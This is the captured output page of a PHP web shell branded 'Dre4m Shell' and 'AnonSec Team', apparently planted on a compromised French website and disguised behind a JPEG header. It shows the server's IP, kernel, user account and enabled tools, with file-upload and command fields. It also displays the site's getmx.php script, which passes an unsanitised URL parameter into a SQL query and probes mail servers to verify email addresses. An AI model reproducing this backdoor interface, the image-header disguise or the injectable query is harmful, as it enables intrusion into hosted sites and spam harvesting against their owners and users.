ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/atlanticswim.fr/seo-mailing/tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/atlanticswim.fr/seo-mailing/tools/getmx.php
<?php
 $q=$_GET["q"];
 set_time_limit(0);
 require_once('../_config.php');

function sWrite( $socket, $data, $echo = true ){
   if( $echo ) $data;
  fputs( $socket, $data );
   $answer = fread( $socket, 1 );
   $remains = socket_get_status( $socket ); 
  if( $remains --> 0 ) $answer .= fread( $socket, $remains['unread_bytes'] );
  return $answer;
}


// $result = mysql_query("SELECT DISTINCT SUBSTRING_INDEX(email,'@',-1) as name,id FROM fes_mail_user WHERE id_cat = '".$q."' ORDER BY SUBSTRING_INDEX(email,'@',-1)");
$result =  mysql_query("SELECT id,email FROM ".$INFO['sql_tbl_prefix']."mail_user WHERE id_cat = '".$q."' LIMIT 1");
$i=1;
if(mysql_num_rows($result) > 0){?>
<?php echo date("H:i:s",time())?>
<table class="table table-bordered">
	<tr>
    	<th>##</th>
        <th><?php echo __('Domain');?></th>
        <th><?php echo __('MX target');?></th>
        <th></th>
    </tr>
<?php
 while($dom = mysql_fetch_array($result, MYSQL_ASSOC))
   {
   $mx = dns_get_record(end(explode("@",trim($dom['email']))), DNS_MX );
	   ?>
	<tr>
		<td><?php echo $i++?></td>
        <td><?php echo end(explode("@",trim($dom['email'])))?></td>
        <td><?php
		echo $mx = $mx[0]['target'];
		?></td>
        <td><?php
		$socket = fsockopen( $mx, 25, $errno, $errstr, 10 );
				
				if( !$socket ){
				  echo "$errstr ($errno)";
				}else{
				  sWrite( $socket, "" );
				  sWrite( $socket, "EHLO ".$INFO['base_url']."\r\n" );
				  sWrite( $socket, "MAIL FROM: ".$INFO['email_from']."\r\n" );
				  $response = sWrite( $socket, "RCPT TO: ".trim($dom['email'])."\r\n" );
				  $response;
				  sWrite( $socket, "QUIT\r\n" );
				  fclose( $socket );
				  if( substr_count( $response, "550" ) > 0 ) echo "Required email address does not exist.";
				  else if( substr_count( $response, "250" ) > 0 ) if( substr_count( $response, "OK" ) > 0 ) echo "Required email address exists.";
				  else echo "Email address accepted but it looks like the server is working as a relay host.";
				  else echo "Required email address existence was not recovered. Last response:\n  ---\n$response  ---";
				}
        ?></td>
    </tr>
<?php } ?>
 </table>
<?php echo date("H:i:s",time())?>
<?php }?>

Anon7 - 2022
AnonSec Team